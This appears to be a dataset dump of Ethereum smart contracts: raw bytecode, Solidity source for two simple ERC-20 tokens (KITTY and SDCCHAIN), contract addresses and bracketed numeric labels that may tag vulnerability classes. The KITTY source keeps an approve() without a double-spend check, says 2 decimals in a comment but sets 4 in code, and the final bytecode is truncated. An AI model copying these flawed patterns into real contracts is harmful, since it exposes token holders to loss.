a01b0316141561066f5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016105d1565b336001600160a01b038216148061068b575061068b8133610e4a565b6106fd5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016105d1565b6107078383610fe1565b505050565b600080516020612593833981519152610725813361104f565b6000838152600a60209081526040909120835161074492850190611c97565b50505050565b610744848461084d565b61075e33826110b3565b61077a5760405162461bcd60e51b81526004016105d190612377565b610707838383611182565b6000828152600660205260409020600101546107a1813361104f565b610707838361132d565b6001600160a01b038116331461081b5760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b60648201526084016105d1565b61082582826113b3565b5050565b600080516020612593833981519152610842813361104f565b61084a61141a565b50565b600080516020612593833981519152610866813361104f565b61070783836114ad565b61070783838360405180602001604052806000815250610c14565b6000818152600260205260408120546001600160a01b031615156104c4565b6000805160206125938339815191526108c3813361104f565b8151610707906009906020850190611c97565b6000818152600260205260408120546001600160a01b0316806104c45760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016105d1565b6009805461095a906124c2565b80601f0160208091040260200160405190810160405280929190818152602001828054610986906124c2565b80156109d35780601f106109a8576101008083540402835291602001916109d3565b820191906000526020600020905b8154815290600101906020018083116109b657829003601f168201915b505050505081565b60006001600160a01b038216610a465760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016105d1565b506001600160a01b031660009081526003602052604090205490565b6007546001600160a01b03610100909104163314610a925760405162461bcd60e51b81526004016105d190612342565b610a9c60006115fb565b565b600080516020612593833981519152610ab7813361104f565b61084a611655565b60009182526006602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6060600180546104d9906124c2565b6007546001600160a01b03610100909104163314610b295760405162461bcd60e51b81526004016105d190612342565b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f12be4820d03362d1f48434d870b2fc1549b3a3d16d891eeaac7c3073f3ded8b79060200160405180910390a150565b6008546001600160a01b031615801590610b975750813b15155b15610c0a57600854604051631b3b02e560e11b81523360048201526001600160a01b03848116602483015283151560448301529091169063367605ca90606401600060405180830381600087803b158015610bf157600080fd5b505af1158015610c05573d6000803e3d6000fd5b505050505b61082582826116d0565b610c1e33836110b3565b610c3a5760405162461bcd60e51b81526004016105d190612377565b61074484848484611795565b6000818152600a6020526040812080546060929190610c64906124c2565b80601f0160208091040260200160405190810160405280929190818152602001828054610c90906124c2565b8015610cdd5780601f10610cb257610100808354040283529160200191610cdd565b820191906000526020600020905b815481529060010190602001808311610cc057829003601f168201915b50505050509050600081511115610cf45792915050565b6000610cfe6117c8565b90506000815111610d1e5760405180602001604052806000815250610d49565b80610d28856117d7565b604051602001610d399291906121fc565b6040516020818303038152906040525b949350505050565b600082815260066020526040902060010154610d6d813361104f565b61070783836113b3565b8051825114610dd45760405162461bcd60e51b815260206004820152602360248201527f534d434552433732313a206d696e742061726773206d75737420626520657175604482015262616c7360e81b60648201526084016105d1565b60005b825181101561070757610e38838281518110610e0357634e487b7160e01b600052603260045260246000fd5b6020026020010151838381518110610e2b57634e487b7160e01b600052603260045260246000fd5b602002602001015161084d565b80610e42816124fd565b915050610dd7565b6001600160a01b0382811660009081526005602090815260408083208585168452909152812054600854919260ff909116911615610f17576008546040516346e67e2960e11b81526001600160a01b0386811660048301528581166024830152831515604483015290911690638dccfc529060640160206040518083038186803b158015610ed757600080fd5b505afa158015610eeb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0f91906120d4565b9150506104c4565b9392505050565b6007546001600160a01b03610100909104163314610f4e5760405162461bcd60e51b81526004016105d190612342565b6001600160a01b038116610fb35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105d1565b61084a816115fb565b60006001600160e01b03198216637965db0b60e01b14806104c457506104c4826118f1565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611016826108d6565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6110598282610abf565b61082557611071816001600160a01b03166014611941565b61107c836020611941565b60405160200161108d92919061222b565b60408051601f198184030181529082905262461bcd60e51b82526105d1916004016122dd565b6000818152600260205260408120546001600160a01b031661112c5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016105d1565b6000611137836108d6565b9050806001600160a01b0316846001600160a01b031614806111725750836001600160a01b03166111678461055c565b6001600160a01b0316145b80610d495750610d498185610e4a565b826001600160a01b0316611195826108d6565b6001600160a01b0316146111fd5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016105d1565b6001600160a01b03821661125f5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016105d1565b61126a838383611b23565b611275600082610fe1565b6001600160a01b038316600090815260036020526040812080546001929061129e908490612468565b90915550506001600160a01b03821660009081526003602052604081208054600192906112cc90849061241d565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6113378282610abf565b6108255760008281526006602090815260408083206001600160a01b03851684529091529020805460ff1916600117905561136f3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6113bd8282610abf565b156108255760008281526006602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b60075460ff166114635760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b60448201526064016105d1565b6007805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b6001600160a01b0382166115035760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016105d1565b6000818152600260205260409020546001600160a01b0316156115685760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016105d1565b61157460008383611b23565b6001600160a01b038216600090815260036020526040812080546001929061159d90849061241d565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600780546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60075460ff161561169b5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016105d1565b6007805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586114903390565b6001600160a01b0382163314156117295760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016105d1565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6117a0848484611182565b6117ac84848484611b8a565b6107445760405162461bcd60e51b81526004016105d1906122f0565b6060600980546104d9906124c2565b6060816117fb5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611825578061180f816124fd565b915061181e9050600a83612435565b91506117ff565b60008167ffffffffffffffff81111561184e57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611878576020820181803683370190505b5090505b8415610d495761188d600183612468565b915061189a600a86612518565b6118a590603061241d565b60f81b8183815181106118c857634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506118ea600a86612435565b945061187c565b60006001600160e01b031982166380ac58cd60e01b148061192257506001600160e01b03198216635b5e139f60e01b145b806104c457506301ffc9a760e01b6001600160e01b03198316146104c4565b60606000611950836002612449565b61195b90600261241d565b67ffffffffffffffff81111561198157634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156119ab576020820181803683370190505b509050600360fc1b816000815181106119d457634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110611a1157634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506000611a35846002612449565b611a4090600161241d565b90505b6001811115611ad4576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110611a8257634e487b7160e01b600052603260045260246000fd5b1a60f81b828281518110611aa657634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c93611acd816124ab565b9050611a43565b508315610f175760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e7460448201526064016105d1565b60075460ff16156107075760405162461bcd60e51b815260206004820152602b60248201527f4552433732315061757361626c653a20746f6b656e207472616e73666572207760448201526a1a1a5b19481c185d5cd95960aa1b60648201526084016105d1565b60006001600160a01b0384163b15611c8c57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611bce9033908990889088906004016122a0565b602060405180830381600087803b158015611be857600080fd5b505af1925050508015611c18575060408051601f3d908101601f19168201909252611c1591810190612146565b60015b611c72573d808015611c46576040519150601f19603f3d011682016040523d82523d6000602084013e611c4b565b606091505b508051611c6a5760405162461bcd60e51b81526004016105d1906122f0565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610d49565b506001949350505050565b828054611ca3906124c2565b90600052602060002090601f016020900481019282611cc55760008555611d0b565b82601f10611cde57805160ff1916838001178555611d0b565b82800160010185558215611d0b579182015b82811115611d0b578251825591602001919060010190611cf0565b50611d17929150611d1b565b5090565b5b80821115611d175760008155600101611d1c565b600067ffffffffffffffff831115611d4a57611d4a612558565b611d5d601f8401601f19166020016123c8565b9050828152838383011115611d7157600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b0381168114611d9f57600080fd5b919050565b600082601f830112611db4578081fd5b81356020611dc9611dc4836123f9565b6123c8565b80838252828201915082860187848660051b8901011115611de8578586fd5b855b85811015611e0657813584529284019290840190600101611dea565b5090979650505050505050565b600082601f830112611e23578081fd5b610f1783833560208501611d30565b600060208284031215611e43578081fd5b610f1782611d88565b60008060408385031215611e5e578081fd5b611e6783611d88565b9150611e7560208401611d88565b90509250929050565b600080600060608486031215611e92578081fd5b611e9b84611d88565b9250611ea960208501611d88565b9150604084013590509250925092565b60008060008060808587031215611ece578081fd5b611ed785611d88565b9350611ee560208601611d88565b925060408501359150606085013567ffffffffffffffff811115611f07578182fd5b8501601f81018713611f17578182fd5b611f2687823560208401611d30565b91505092959194509250565b60008060408385031215611f44578182fd5b611f4d83611d88565b91506020830135611f5d8161256e565b809150509250929050565b60008060408385031215611f7a578182fd5b611f8383611d88565b946020939093013593505050565b60008060008060608587031215611fa6578384fd5b611faf85611d88565b935060208501359250604085013567ffffffffffffffff80821115611fd2578384fd5b818701915087601f830112611fe5578384fd5b813581811115611ff3578485fd5b886020828501011115612004578485fd5b95989497505060200194505050565b60008060408385031215612025578182fd5b823567ffffffffffffffff8082111561203c578384fd5b818501915085601f83011261204f578384fd5b8135602061205f611dc4836123f9565b8083825282820191508286018a848660051b890101111561207e578889fd5b8896505b848710156120a75761209381611d88565b835260019690960195918301918301612082565b50965050860135925050808211156120bd578283fd5b506120ca85828601611da4565b9150509250929050565b6000602082840312156120e5578081fd5b8151610f178161256e565b600060208284031215612101578081fd5b5035919050565b6000806040838503121561211a578182fd5b82359150611e7560208401611d88565b60006020828403121561213b578081fd5b8135610f178161257c565b600060208284031215612157578081fd5b8151610f178161257c565b600060208284031215612173578081fd5b813567ffffffffffffffff811115612189578182fd5b610d4984828501611e13565b600080604083850312156121a7578182fd5b82359150602083013567ffffffffffffffff8111156121c4578182fd5b6120ca85828601611e13565b600081518084526121e881602086016020860161247f565b601f01601f19169290920160200192915050565b6000835161220e81846020880161247f565b83519083019061222281836020880161247f565b01949350505050565b7f416363657373436f6e74726f6c3a206163636f756e742000000000000000000081526000835161226381601785016020880161247f565b7001034b99036b4b9b9b4b733903937b6329607d1b601791840191820152835161229481602884016020880161247f565b01602801949350505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906122d3908301846121d0565b9695505050505050565b602081526000610f1760208301846121d0565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff811182821017156123f1576123f1612558565b604052919050565b600067ffffffffffffffff82111561241357612413612558565b5060051b60200190565b600082198211156124305761243061252c565b500190565b60008261244457612444612542565b500490565b60008160001904831182151516156124635761246361252c565b500290565b60008282101561247a5761247a61252c565b500390565b60005b8381101561249a578181015183820152602001612482565b838111156107445750506000910152565b6000816124ba576124ba61252c565b506000190190565b600181811c908216806124d657607f821691505b602082108114156124f757634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156125115761251161252c565b5060010190565b60008261252757612527612542565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b801515811461084a57600080fd5b6001600160e01b03198116811461084a57600080fdfe9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6a2646970667358221220bd13aeaf28180ad536d7d582de599ee819f05dd99b4e10c28d3f7baa421451fb64736f6c63430008040033
[ 5, 12 ]
0xf2fb54843729e3609f7b1e1a379513486c3d00f0
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // Sample token contract // // Symbol : KITTY // Name : KITTY Token // Total supply : 200000000000000 // Decimals : 2 // Owner Account : 0x82Fef8aD436627B7512f14e7742835Ac862f3720 // // Enjoy. // // (c) by Idea Inven Doohee 2021. DM Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Lib: Safe Math // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } /** ERC Token Standard #20 Interface https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md */ contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } /** Contract function to receive approval and execute function in one call Borrowed from MiniMeToken */ contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } /** ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers */ contract INVENToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "KITTY"; name = "KITTY Token"; decimals = 4; _totalSupply = 200000000000000; balances[0x82Fef8aD436627B7512f14e7742835Ac862f3720] = _totalSupply; emit Transfer(address(0), 0x82Fef8aD436627B7512f14e7742835Ac862f3720, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce567146102855780633eaaf86b146102b657806370a08231146102e157806395d89b4114610338578063a293d1e8146103c8578063a9059cbb14610413578063b5931f7c14610478578063cae9ca51146104c3578063d05c78da1461056e578063dd62ed3e146105b9578063e6cb901314610630575b600080fd5b3480156100ec57600080fd5b506100f561067b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610719565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61080b565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610856565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610ae6565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102c257600080fd5b506102cb610af9565b6040518082815260200191505060405180910390f35b3480156102ed57600080fd5b50610322600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aff565b6040518082815260200191505060405180910390f35b34801561034457600080fd5b5061034d610b48565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038d578082015181840152602081019050610372565b50505050905090810190601f1680156103ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d457600080fd5b506103fd6004803603810190808035906020019092919080359060200190929190505050610be6565b6040518082815260200191505060405180910390f35b34801561041f57600080fd5b5061045e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c02565b604051808215151515815260200191505060405180910390f35b34801561048457600080fd5b506104ad6004803603810190808035906020019092919080359060200190929190505050610d8b565b6040518082815260200191505060405180910390f35b3480156104cf57600080fd5b50610554600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610daf565b604051808215151515815260200191505060405180910390f35b34801561057a57600080fd5b506105a36004803603810190808035906020019092919080359060200190929190505050610ffe565b6040518082815260200191505060405180910390f35b3480156105c557600080fd5b5061061a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102f565b6040518082815260200191505060405180910390f35b34801561063c57600080fd5b5061066560048036038101908080359060200190929190803590602001909291905050506110b6565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107115780601f106106e657610100808354040283529160200191610711565b820191906000526020600020905b8154815290600101906020018083116106f457829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006108a1600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061096a600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a33600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836110b6565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bde5780601f10610bb357610100808354040283529160200191610bde565b820191906000526020600020905b815481529060010190602001808311610bc157829003601f168201915b505050505081565b6000828211151515610bf757600080fd5b818303905092915050565b6000610c4d600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610be6565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd9600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836110b6565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d9b57600080fd5b8183811515610da657fe5b04905092915050565b600082600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610f8c578082015181840152602081019050610f71565b50505050905090810190601f168015610fb95780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610fdb57600080fd5b505af1158015610fef573d6000803e3d6000fd5b50505050600190509392505050565b60008183029050600083148061101e575081838281151561101b57fe5b04145b151561102957600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156110cc57600080fd5b929150505600a165627a7a723058204d2855fc21f3d5065b4dd872ed093f324749da3dba1215d2d5e810ac4bad868b0029
[ 2 ]
0xf2fb7365b29d8f11df46259b9b1e0bcc4f00bded
pragma solidity ^0.4.19; contract BaseToken { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; assert(balanceOf[_from] + balanceOf[_to] == previousBalances); Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } } contract CustomToken is BaseToken { function CustomToken() public { totalSupply = 30000000000000000000000000000; name = 'SDCCHAIN'; symbol = 'SDCC'; decimals = 18; balanceOf[0x5ebc4B61A0E0187d9a72Da21bfb8b45F519cb530] = totalSupply; Transfer(address(0), 0x5ebc4B61A0E0187d9a72Da21bfb8b45F519cb530, totalSupply); } }
0x6060604052600436106100985763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461009d578063095ea7b31461012757806318160ddd1461015d57806323b872dd14610182578063313ce567146101aa57806370a08231146101d357806395d89b41146101f2578063a9059cbb14610205578063dd62ed3e14610227575b600080fd5b34156100a857600080fd5b6100b061024c565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156100ec5780820151838201526020016100d4565b50505050905090810190601f1680156101195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561013257600080fd5b610149600160a060020a03600435166024356102ea565b604051901515815260200160405180910390f35b341561016857600080fd5b610170610356565b60405190815260200160405180910390f35b341561018d57600080fd5b610149600160a060020a036004358116906024351660443561035c565b34156101b557600080fd5b6101bd6103d3565b60405160ff909116815260200160405180910390f35b34156101de57600080fd5b610170600160a060020a03600435166103dc565b34156101fd57600080fd5b6100b06103ee565b341561021057600080fd5b610149600160a060020a0360043516602435610459565b341561023257600080fd5b610170600160a060020a036004358116906024351661046f565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102e25780601f106102b7576101008083540402835291602001916102e2565b820191906000526020600020905b8154815290600101906020018083116102c557829003601f168201915b505050505081565b600160a060020a03338116600081815260056020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60035481565b600160a060020a0380841660009081526005602090815260408083203390941683529290529081205482111561039157600080fd5b600160a060020a03808516600090815260056020908152604080832033909416835292905220805483900390556103c984848461048c565b5060019392505050565b60025460ff1681565b60046020526000908152604090205481565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102e25780601f106102b7576101008083540402835291602001916102e2565b600061046633848461048c565b50600192915050565b600560209081526000928352604080842090915290825290205481565b6000600160a060020a03831615156104a357600080fd5b600160a060020a038416600090815260046020526040902054829010156104c957600080fd5b600160a060020a038316600090815260046020526040902054828101116104ef57600080fd5b50600160a060020a03828116